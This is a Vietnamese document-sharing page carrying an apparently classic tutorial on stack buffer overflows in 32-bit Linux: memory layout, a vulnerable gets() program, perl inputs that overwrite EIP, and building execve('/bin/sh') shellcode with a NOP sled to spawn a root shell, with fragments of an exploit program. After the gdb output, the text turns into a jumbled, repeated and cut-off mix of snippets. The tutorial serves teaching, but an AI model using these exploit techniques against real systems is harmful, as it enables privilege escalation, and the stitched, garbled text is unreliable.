Tài liệu về tràn bộ đệm

27 689 0
Tài liệu về tràn bộ đệm

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

Tài liệu về tràn bộ đệm

Tìm hiểu đầy đủ về tràn bộ đệmĐT - Vicki's real fanLời mở đầuTràn bộ đệm là một trong những lỗ hỏng bảo mật lớn nhất hiện nay. Vậy tràn bộ đệm là gì? Làm thế nào để thi hành các mã lệnh nguy hiểm qua tràn bộ đệm .?***Lưu ý*** một ít kiến thức về Assembly, C, GDB và Linux là điều cần thiết đối với bạn!Sơ đồ tổ chức bộ nhớ của một chương trình/------------------\ địa chỉ vùng nhớ cao| || Stack | | | |------------------|| (Initialized) || Data || (Uninitialized) ||------------------|| || Text || |\------------------/ địa chỉ vùng nhớ thấpStack và Heap?Heap là vùng nhớ dùng để cấp phát cho các biến tỉnh hoặc các vùng nhớ được cấp phát bằng hàm malloc()Stack là vùng nhớ dùng để lưu các tham số và các biến cục bộ của hàm.Các biến trên heap được cấp phát từ vùng nhớ thấp đến vùng nhớ cao. Trên stack thì hoàn toàn ngược lại, các biến được cấp phát từ vùng nhớ cao đến vùng nhớ thấp.Stack hoạt động theo nguyên tắc "vào sau ra trước"(Last In First Out - LIFO). Các giá trị được đẩy vào stack sau cùng sẽ được lấy ra khỏi stack trước tiên.PUSH và POP Stack đổ từ trên xuống duới(từ vùng nhớ cao đến vùng nhớ thấp). Thanh ghi ESP luôn trỏ đến đỉnh của stack(vùng nhớ có địa chỉ thấp).đỉnh của bộ nhớ /------------\ đáy của stack | | | | | | | | | | | | <-- ESPđáy của bộ nhớ \------------/ đỉnh của stack* PUSH một value vào stackđỉnh của bộ nhớ /------------\ đáy của stack | | | | | | | | | | <- ESP cũ |------------| (2) -> value | <- ESP mới = ESP cũ - sizeof(value) (1)đáy của bộ nhớ \------------/ đỉnh của stack1/ ESP=ESP-sizeof(value)2/ value được đẩy vào stack* POP một value ra khỏi stackđỉnh của bộ nhớ /------------\ đáy của stack | | | | | | | | | | <- ESP mới = ESP cũ + sizeof(value)(2) |------------| (1) <- value | <- ESP cũđáy của bộ nhớ \------------/ đỉnh của stack1/ value được lấy ra khỏi stack2/ ESP=ESP+sizeof(value)Khác nhau giữa các lệnh hợp ngữ AT&T với IntelKhác với MSDOS và WINDOWS, *NIX dùng các lệnh hợp ngữ AT&T. Nó hoàn toàn ngược lại với chuẩn của Intel/Microsoft.Ví dụ: Intel AT&Tmov eax, esp movl %esp, %eaxpush 7 push $7mov [esp+5], eax movl %eax, 0x5(%esp)inc ah incb %ahpush 7 push $7 .* Ghi chú:e - Extended 32 bits% - registermov %src, %desmovl - move 1 longmovb - move 1 bytemovw - move 1 word$ - hằng# - chú thích .Cách làm việc của hàmThanh ghi EIP luôn trỏ đến địa chỉ của câu lệnh tiếp theo cần thi hành.Khi gọi hàm, đầu tiên các tham số được push vào stack theo thứ tự ngược lại. Tiếp theo địa chỉ của câu lệnh được push vào stack. Sau đó, thanh ghi EBP được push vào stack(dùng để lưu giá trị cũ của EBP).Khi kết thúc hàm, thanh ghi EBP được pop ra khỏi stack(phục hồi lại giá trị cũ của EBP). Sau đó địa chỉ trở về(ret address) được pop ra khỏi stack và lệnh tiếp theo sau lời gọi hàm sẽ được thi hành.Thanh ghi EBP được dùng để xác định các tham số và các biến cục bộ của hàm.Ví dụ:test.c------------------------------------------------------------------------------void function(int a, int b, int c) { char buffer1[5]; char buffer2[10];}void main() { function(1,2,3); }------------------------------------------------------------------------------Để hiểu được chương trình gọi hàm function() như thế nào, bạn hãy compile vidu1.c, dùng tham số -S để phát mã assembly:[đt@localhost ~/vicki]$cc -S -o test.s test.cXem file test.s, chúng ta sẽ thấy call function() được chuyển thành:pushl $3pushl $2pushl $1call function3 tham số truyền cho function() lần lượt được push vào stack theo thứ tự ngược lại. Câu lệnh 'call' sẽ push con trỏ lệnh(tức là thanh ghi EIP) vào stack để lưu địa chỉ trở về.Các lệnh đầu tiêu trong hàm function() sẽ có dạng như sau:pushl %ebpmovl %esp,%ebpsubl $20,%espĐầu tiên ESP(frame pointer) được push vào stack. Sau đó chương trình copy ESP vào EBP để tạo một FP pointer mới. Bạn dễ nhận thấy lúc này ESP và EBP đều đang trỏ đến ô nhớ chứa EBP cũ. Hãy ghi nhớ điều này. Tiếp theo ESP được trừ đi 20 để dành không gian cho các biến cục bộ của hàm function()Vì chương trình 32 bits nên 5 bytes buffer1 sẽ là 8 bytes(2 words) trong bộ nhớ(do làm tròn đến 4 bytes hay là 32 bits), 10 bytes buffer2 sẽ là 12 bytes trong bộ nhớ(3 words). Tổng cộng sẽ tốn 8+12=20 bytes cho các biến cục bộ của function() nên ESP phải bị trừ đi 20! Stack sẽ có dạng như sau:đáy của đỉnh củabộ nhớ bộ nhớ buffer2 buffer1 sfp ret a b c<------ [ ][ ][ ][ ][ ][ ][ ] đỉnh của 12 bytes 8 bytes 4b 4b đáy củastack stack Trong hàm function(), nội dung thanh ghi EBP không bị thay đổi.0xz%ebp dùng để xác định ô nhớ chứa tham số của hàm0xfffffz%ebp dùng để xác định ô nhớ chứa biến cục bộ của hàmKhi kết thúc hàm function():movl %ebp,%esppopl %ebpretmovl %ebp, %esp sẽ copy EBP vào ESP. Vì EBP khi bắt đầu hàm trỏ đến ô nhớ chứa EBP cũ và EBP không bị thay đổi trong hàm function() nên sau khi thực hiện lệnh movl, ESP sẽ trỏ đến ô nhớ chứa EBP cũ. popl %ebp sẽ phục hồi lại giá trị cũ cho EBP đồng thời ESP sẽ bị giảm 4(ESP=ESP-sizeof(EBP cũ)) sau lệnh popl. Như vậy ESP sẽ trỏ đến ô nhớ chứa địa chỉ trở về(nằm ngay trên ô nhớ chứa EBP cũ). ret sẽ pop địa chỉ trở về ra khỏi stack, ESP sẽ bị giảm 4 và chương trình tiếp tục thi hành câu lệnh sau lệnh call function().Chương trình bị tràn bộ đệmVí dụ:gets.c:---------------------------------------int main(){char buf[20];gets(buf);}---------------------------------------[đt@localhost ~/vicki]$ cc gets.c -o gets/tmp/cc4C6vaT.o: In function `main':/tmp/cc4C6vaT.o(.text+0xe): the `gets' function is dangerous and should not be used.[đt@localhost ~/vicki]$gets(buf) sẽ nhận input data vào buf. Kích thước của buf chỉ là 20 bytes. Nếu ta đẩy data có kích thước lớn hơn 20 bytes vào buf, 20 bytes data đầu tiên sẽ vào mảng buf[20], các bytes data sau sẽ ghi đè lên EBP cũ và tiếp theo là ret addr. Như vậy chúng ta có thể thay đổi được địa chỉ trở về, điều này đồng nghĩa với việc chương trình bị tràn bộ đệm.đỉnh của bộ nhớ +-------------+ đáy của stack | return addr | +-------------+ | EBP cũ | +-------------+ | | | | | buf[20] | | | | | đáy của bộ nhớ +-------------+ đỉnh của stackBạn hãy thử:[đt@localhost ~/vicki]$ perl -e 'print "A" x 24' | ./gets[đt@localhost ~/vicki]$ gdb gets coreGNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0Copyright 2001 Free Software Foundation, Inc.GDB is free software, covered by the GNU General Public License, and you arewelcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions.There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i386-mandrake-linux" .Core was generated by `./gets'.Program terminated with signal 11, Segmentation fault.Reading symbols from /lib/libc.so.6 .done.Loaded symbols for /lib/libc.so.6Reading symbols from /lib/ld-linux.so.2 .done.Loaded symbols for /lib/ld-linux.so.2#0 0x41414141 in ?? ()(gdb) info alleax 0xbffffbc4 -1073742908ecx 0xbffffbc4 -1073742908edx 0x40105dbc 1074814396ebx 0x4010748c 1074820236esp 0xbffffbe0 0xbffffbe0ebp 0x41414141 0x41414141 // hãy nhìn xem, chúng ta vừa ghi đè lên ebpesi 0x4000a610 1073784336edi 0xbffffc24 -1073742812eip 0x40031100 0x40031100eflags 0x10282 66178cs 0x23 35ss 0x2b 43ds 0x2b 43es 0x2b 43fs 0x2b 43gs 0x2b 43(gdb) quit[đt@localhost ~/vicki]$0x41 chính là "A" ở dạng hexBây giờ bạn hãy thử tiếp:[đt@localhost ~/vicki]$ perl -e 'print "A" x 28' | ./getsSegmentation fault[đt@localhost ~/vicki]$ gdb gets core GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0Copyright 2001 Free Software Foundation, Inc.GDB is free software, covered by the GNU General Public License, and you arewelcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions.There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i386-mandrake-linux" .Core was generated by `./gets'.Program terminated with signal 11, Segmentation fault.Reading symbols from /lib/libc.so.6 .done.Loaded symbols for /lib/libc.so.6Reading symbols from /lib/ld-linux.so.2 .done.Loaded symbols for /lib/ld-linux.so.2#0 0x41414141 in ?? ()(gdb) info alleax 0xbffffbc4 -1073742908ecx 0xbffffbc4 -1073742908edx 0x40105dbc 1074814396ebx 0x4010748c 1074820236esp 0xbffffbe0 0xbffffbe0ebp 0x41414141 0x41414141 // chúng ta đã ghi đè lên ebpesi 0x4000a610 1073784336edi 0xbffffc24 -1073742812eip 0x41414141 0x41414141 // chúng ta đã ghi đè lên eipeflags 0x10282 66178cs 0x23 35ss 0x2b 43ds 0x2b 43es 0x2b 43fs 0x2b 43gs 0x2b 43(gdb) quit[đt@localhost ~/vicki]$Địa chỉ trở về bị thay đổi thành 0x41414141, chương trình sẽ thi hành các lệnh tại 0x41414141, tuy nhiên đây là vùng cấm nên Linux đã báo lỗi "Segmentation fault"ShellcodeHình dung các đặt shellcode trên stackỞ ví dụ trước, chúng ta đã biết được nguyên nhân của tràn bộ đệm và cách thay đổi eip. Tuy nhiên, chúng ta cần phải thay đổi địa chỉ trở về trỏ đến shellcode để đổ một shell. Bạn có thể hình dung ra cách đặt shellcode trên stack như sau:Trước khi tràn bộ đệm: đáy của bộ nhớ đỉnh của bộ nhớ <----- FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFFđỉnh của stack đáy của stackB = bufferE = stack frame pointerR = return addressF = các data khácKhi tràn bộ đệm:đáy của bộ nhớ đỉnh của bộ nhớ<----- FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFFđỉnh của stack đáy của stackS = shellcodeA = con trỏ đến shellcodeF = các data khác(1) Lắp tràn bộ đệm(đến return addr) bằng địa chỉ của buffer(2) Đặt shellcode vào bufferNhư vậy địa chỉ trở về sẽ trỏ đến shellcode, shellcode sẽ đổ một root shell. Tuy nhiên, thật khó để làm cho ret addr trỏ đến đúng shellcode. Có một cách khác, chúng ta sẽ đặt vào đầu của buffer một dãy lệnh NOP(NO oPeration - không xử lí), tiếp theo chúng ta đẩy shellcode vào sau NOPs. Như vậy khi thay đổi ret addr trỏ đến một nơi này đó ở đầu buffer, các lệnh NOP sẽ được thi hành, chúng không làm gì cả. Đến khi gặp các lệnh shellcode, shellcode sẽ làm nhiệm vụ đổ root shell. Stack có dạng như sau:đáy của bộ nhớ đỉnh của bộ nhớ<----- FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFFđỉnh của stack đáy của stackN = NOPS = shellcodeA = con trỏ đến shellcodeF = các data khácViết và test thử shellcodeShellcode được đặt trên stack nên không thể nào dùng địa chỉ tuyệt đối. Chúng ta buộc phải dùng địa chỉ tương đối. Thật may cho chúng ta, lệnh jmp và call có thể chấp nhận các địa chỉ tương đối. Shellcode sẽ có dạng như sau:0 jmp (nhảy xuống z bytes, tức là đến câu lệnh call)2 popl %esi . đăt các hàm tại đây .Z call <-Z+2> (call sẽ nhảy lên z-2 bytes, đếb ngay câu lệnh sau jmp, POPL)Z+5 .string (biến)Giải thích: ở đầu shellcode chúng ta đặt một lệnh jmp đến call. call sẽ nhảy ngược lên lại câu lệnh ngay sau jmp, tức là câu lệnh popl %esi. Chúng ta đặt các dữ liệu .string ngay sau call. Khi lệnh call được thi hành, nó sẽ push địa chỉ của câu lệnh kế tiếp, trong trường hợp này là địa chỉ của .string vào stack. Câu lệnh ngay sau jmp là popl %esi, như vậy esi sẽ chứa địa chỉ của .string. Chúng ta đặt các hàm cần xử lí giữa popl %esi và call <-z+2>, các hàm này sẽ xác định các dữ liệu .string qua thanh ghi esi.Mã lệnh để đổ shell trong C có dạng như sau:shellcode.c-----------------------------------------------------------------------------#include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL);}------------------------------------------------------------------------------Để tìm ra mã lệnh assembly thật sự của shellcode, bạn cần compile shellcode.c và sau đó chạy gdb. Nhớ dùng cờ -static khi compile shellcode.c để gộp các mã lệnh assembly thật sự của hàm execve vào, nếu không dùng cờ này, bạn chỉ nhận được một tham chiếu đến thư viện liên kết động của C cho hàm execve.[đt@localhost ~/vicki]$ gcc -o shellcode -ggdb -static shellcode.c[đt@localhost ~/vicki]$ gdb shellcodeGNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0Copyright 2001 Free Software Foundation, Inc.GDB is free software, covered by the GNU General Public License, and you arewelcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i386-mandrake-linux" .(gdb) disas mainDump of assembler code for function main:0x8000130 : pushl %ebp0x8000131 : movl %esp,%ebp0x8000133 : subl $0x8,%esp0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)0x800013d : movl $0x0,0xfffffffc(%ebp)0x8000144 : pushl $0x00x8000146 : leal 0xfffffff8(%ebp),%eax0x8000149 : pushl %eax0x800014a : movl 0xfffffff8(%ebp),%eax0x800014d : pushl %eax0x800014e : call 0x80002bc <__execve>0x8000153 : addl $0xc,%esp0x8000156 : movl %ebp,%esp0x8000158 : popl %ebp0x8000159 : retEnd of assembler dump.(gdb) disas __execveDump of assembler code for function __execve:0x80002bc <__execve>: pushl %ebp0x80002bd <__execve+1>: movl %esp,%ebp0x80002bf <__execve+3>: pushl %ebx0x80002c0 <__execve+4>: movl $0xb,%eax0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx0x80002cb <__execve+15>: movl 0x10(%ebp),%edx0x80002ce <__execve+18>: int $0x800x80002d0 <__execve+20>: movl %eax,%edx0x80002d2 <__execve+22>: testl %edx,%edx0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>0x80002d6 <__execve+26>: negl %edx0x80002d8 <__execve+28>: pushl %edx0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>0x80002de <__execve+34>: popl %edx0x80002df <__execve+35>: movl %edx,(%eax)0x80002e1 <__execve+37>: movl $0xffffffff,%eax0x80002e6 <__execve+42>: popl %ebx0x80002e7 <__execve+43>: movl %ebp,%esp0x80002e9 <__execve+45>: popl %ebp0x80002ea <__execve+46>: ret0x80002eb <__execve+47>: nopEnd of assembler dump.(gdb) quitGiải thích:1/ main():0x8000130 : pushl %ebp [...]... của Intel/Microsoft. Ví dụ: Tìm hiểu đầy đủ về tràn bộ đệm ĐT - Vicki's real fan Lời mở đầu Tràn bộ đệm là một trong những lỗ hỏng bảo mật lớn nhất hiện nay. Vậy tràn bộ đệm là gì? Làm thế nào để thi hành các mã lệnh nguy hiểm qua tràn bộ đệm ? ***Lưu ý*** một ít kiến thức về Assembly, C, GDB và Linux là điều cần thiết đối với bạn! Sơ đồ tổ chức bộ nhớ của một chương trình / \ địa chỉ vùng... Địa chỉ trở về khi tràn bộ đệm = ESP(địa chỉ bắt đầu của stack) - OFFSET . Tại sao phải trừ cho offset? Bởi vì chúng ta có gọi hàm execl("./vulnerable","vulnerable",buffer,0); sau cùng, nên ESP lúc này sẽ bị trừ đi một số bytes do chương trình exploit có sử dụng một số bytes trên stack cho các tham số và biến cục bộ của hàm.Điều này sẽ tăng khả năng địa chỉ trở về trỏ đến một... thời ESP sẽ bị giảm 4(ESP=ESP- sizeof(EBP cũ)) sau lệnh popl. Như vậy ESP sẽ trỏ đến ô nhớ chứa địa chỉ trở về( nằm ngay trên ô nhớ chứa EBP cũ). ret sẽ pop địa chỉ trở về ra khỏi stack, ESP sẽ bị giảm 4 và chương trình tiếp tục thi hành câu lệnh sau lệnh call function(). Chương trình bị tràn bộ đệm Ví dụ: gets.c: int main() { char buf[20]; gets(buf); } [đt@localhost ~/vicki]$ cc gets.c -o gets /tmp/cc4C6vaT.o:... buf, 20 bytes data đầu tiên sẽ vào mảng buf[20], các bytes data sau sẽ ghi đè lên EBP cũ và tiếp theo là ret addr. Như vậy chúng ta có thể thay đổi được địa chỉ trở về, điều này đồng nghĩa với việc chương trình bị tràn bộ đệm. đỉnh của bộ nhớ + + đáy của stack | return addr | + + | EBP cũ | + + | | jmp và call có thể chấp nhận các địa chỉ tương đối. Shellcode sẽ có dạng như sau: 0 jmp (nhảy... này để làm tràn bộ đệm. Vì sao? Hàm strcpy() sẽ chấm dứt copy khi gặp \x00 nên shellcode sẽ không được copy trọn vẹn vào buffer! Chúng ta cần gở bỏ hết \x00 trong shellcode: Stack đổ từ trên xuống duới(từ vùng nhớ cao đến vùng nhớ thấp). Thanh ghi ESP luôn trỏ đến đỉnh của stack(vùng nhớ có địa chỉ thấp). đỉnh của bộ nhớ / \ đáy của stack | | | | | | | | | | | | < ESP đáy của bộ nhớ \ /... quit [đt@localhost ~/vicki]$ Địa chỉ trở về bị thay đổi thành 0x41414141, chương trình sẽ thi hành các lệnh tại 0x41414141, tuy nhiên đây là vùng cấm nên Linux đã báo lỗi "Segmentation fault" Shellcode Hình dung các đặt shellcode trên stack Ở ví dụ trước, chúng ta đã biết được nguyên nhân của tràn bộ đệm và cách thay đổi eip. Tuy nhiên, chúng ta cần phải thay đổi địa chỉ trở về trỏ đến shellcode để đổ... function() Vì chương trình 32 bits nên 5 bytes buffer1 sẽ là 8 bytes(2 words) trong bộ nhớ(do làm tròn đến 4 bytes hay là 32 bits), 10 bytes buffer2 sẽ là 12 bytes trong bộ nhớ(3 words). Tổng cộng sẽ tốn 8+12=20 bytes cho các biến cục bộ của function() nên ESP phải bị trừ đi 20! Stack sẽ có dạng như sau: đáy của đỉnh của bộ nhớ bộ nhớ buffer2 buffer1 sfp ret a b c < [ ][ ][ ][ ][ ][ ][ ] đỉnh của... của bộ nhớ / \ đáy của stack | | | | | | | | | | <- ESP cũ | | (2) -> value | <- ESP mới = ESP cũ - sizeof(value) (1) đáy của bộ nhớ \ / đỉnh của stack 1/ ESP=ESP-sizeof(value) 2/ value được đẩy vào stack * POP một value ra khỏi stack đỉnh của bộ nhớ / \ đáy của stack | | | | | | | | | | <- ESP mới = ESP cũ + sizeof(value)(2) | | (1) <- value | <- ESP cũ đáy của bộ. .. */ "\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03\x03" "\x9a\x04\x04\x04\x04\x07\x04"; /* lcall */ bộ nhớ | ret addr | stack | addr(buffer) | bộ nhớ + + | addr(buffer) | | ebp | | | + + | addr(buffer) | | | | addr(buffer) | large_string[128] | buffer[96] | | addr(buffer) | | | | | + + | shellcode | | long_ptr | > | | đáy của + + đỉnh của + + đáy của bộ nhớ stack bộ nhớ STACK HEAP char large_string[128]; //cấp phát một... thay đổi eip. Tuy nhiên, chúng ta cần phải thay đổi địa chỉ trở về trỏ đến shellcode để đổ một shell. Bạn có thể hình dung ra cách đặt shellcode trên stack như sau: Trước khi tràn bộ đệm: | | | buf[20] | | | | | đáy của bộ nhớ + + đỉnh của stack Bạn hãy thử: [đt@localhost ~/vicki]$ perl -e 'print "A" x 24' | ./gets [đt@localhost ~/vicki]$ gdb gets core GNU gdb 5.0mdk-11mdk . hiểu đầy đủ về tràn bộ đệm T - Vicki's real fanLời mở đầuTràn bộ đệm là một trong những lỗ hỏng bảo mật lớn nhất hiện nay. Vậy tràn bộ đệm là gì? Làm. lệnh nguy hiểm qua tràn bộ đệm. ..?***Lưu ý*** một ít kiến thức về Assembly, C, GDB và Linux là điều cần thiết đối với bạn!Sơ đồ tổ chức bộ nhớ của một chương

Ngày đăng: 01/10/2012, 15:35

Từ khóa liên quan

Tài liệu cùng người dùng

  • Đang cập nhật ...

Tài liệu liên quan